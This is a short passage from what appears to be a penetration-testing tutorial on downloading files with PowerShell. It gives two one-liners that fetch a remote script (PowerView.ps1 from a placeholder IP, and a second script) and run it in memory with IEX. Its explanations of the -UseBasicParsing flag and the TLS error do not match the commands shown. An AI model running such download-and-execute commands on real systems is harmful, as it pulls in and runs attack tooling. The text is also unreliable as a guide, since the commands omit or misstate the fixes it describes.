There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.
This can be bypassed using the parameter -UseBasicParsing.
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
IEX(New-Object Net.WebClient).DownloadString('<https://raw.github/PSUpload.ps1>')